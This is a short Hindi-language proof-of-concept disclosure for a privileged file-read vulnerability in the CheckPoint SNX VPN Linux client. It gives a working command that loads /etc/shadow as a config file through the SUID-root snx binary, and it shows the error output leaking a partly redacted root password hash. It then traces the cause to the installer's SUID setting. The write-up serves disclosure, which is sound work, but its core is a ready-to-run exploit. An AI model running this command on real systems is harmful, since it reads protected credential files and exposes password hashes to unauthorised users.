
CheckPoint SNX VPN Linux Client के माध्यम से विशेषाधिकार प्राप्त फ़ाइल पढ़ने के लिए प्रूफ-ऑफ-कॉन्सेप्ट
CheckPoint SNX VPN Linux क्लाइंट के माध्यम से विशेषाधिकार प्राप्त फ़ाइल पढ़ने के लिए प्रूफ-ऑफ-कॉन्सेप्ट।
शोषण के लिए बस -f पैरामीटर का उपयोग करके किसी भी फ़ाइल को SNX कॉन्फ़िग के रूप में लोड करें। यदि फ़ाइल मान्य SNX कॉन्फ़िग नहीं है, तो यह एक त्रुटि फेंकेगा और सिंटैक्स त्रुटि प्रदर्शित करेगा, जिससे स्ट्रिंग टर्मिनेटर मिलने तक सामग्री लीक हो जाएगी (उदाहरण: etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
इसका कारण यह है कि निष्पादन योग्य /usr/bin/snx में SETUID बिट सेट है और यह सुपर-यूज़र के रूप में चलता है, जो इंस्टॉलेशन के दौरान सेट किया जाता है।
विशेष रूप से, .sh इंस्टॉलेशन फ़ाइल (CheckPointVPN_SNX_Linux_800007075.sh) में परिभाषित वेरिएबल COMMAND_TO_RUN:
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
पैरामीटर --mode=u=rxs में, अंतिम s SUID बिट सेट करता है, जिससे निष्पादन योग्य बाइनरी रूट के रूप में चलती है।